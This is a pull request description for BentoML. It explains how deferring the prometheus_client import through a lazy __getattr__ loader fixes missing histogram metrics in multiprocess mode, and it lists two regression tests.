fix: defer prometheus_client import in bentoml.metrics to fix histogram collection in multiprocess mode

[ramkrishs]

What does this PR address?

Fixes #5056 — when multiple Histogram objects are declared using bentoml.metrics, only the last one appears in the /metrics endpoint output.

Root cause

bentoml.metrics previously ran sys.modules[__name__] = prometheus_client at import time. This meant prometheus_client was imported the moment user service code wrote from bentoml.metrics import Histogram — which happens at service-module load time in the parent process, before any worker is forked.

Workers set PROMETHEUS_MULTIPROC_DIR in os.environ during startup. But since prometheus_client was already imported without this env var, it had initialised in single-process mode. Any Histogram or Counter objects created afterwards wrote to the in-process registry, not the file-backed multiprocess one. MultiProcessCollector — which BentoML's /metrics endpoint uses — reads from those files and therefore saw none of the user-defined metrics.

The "only last histogram collected" symptom was incidental: the collection path happened to surface one metric through a separate mechanism, masking the true scope of data loss.

Fix

Replace the eager sys.modules shim with a __getattr__ lazy loader in src/bentoml/metrics.py.

prometheus_client is now imported the first time an attribute is accessed (e.g. bentoml.metrics.Histogram), which happens after the worker has already set PROMETHEUS_MULTIPROC_DIR. The resolved attribute is cached in the module globals so subsequent accesses are free.

# Before (broken): prometheus_client imported at bentoml.metrics import time
sys.modules[__name__] = prometheus_client

# After (fixed): prometheus_client imported on first attribute access
def __getattr__(name: str) -> object:
    import prometheus_client  # deferred — after PROMETHEUS_MULTIPROC_DIR is set
    attr = getattr(prometheus_client, name)
    globals()[name] = attr  # cache for subsequent accesses
    return attr

Tests

Two new unit tests in tests/unit/test_metrics_deferred_import.py:

• test_bentoml_metrics_does_not_import_prometheus_client_eagerly — asserts that import bentoml.metrics does not pull in prometheus_client.
• test_multiple_histograms_all_collected_in_multiprocess_mode — full regression: creates three Histogram objects after setting PROMETHEUS_MULTIPROC_DIR, then verifies all three are visible to MultiProcessCollector. This is the exact scenario from the issue report.

PASSED tests/unit/test_metrics_deferred_import.py::test_bentoml_metrics_does_not_import_prometheus_client_eagerly
PASSED tests/unit/test_metrics_deferred_import.py::test_multiple_histograms_all_collected_in_multiprocess_mode

Notes

• The DeprecationWarning from bentoml.metrics is preserved — it fires on first attribute access, which is the first point where user code actually interacts with the module.
• Backward compatibility is maintained: all prometheus_client symbols are still accessible through bentoml.metrics.
• This is a pure Python change with no dependency additions.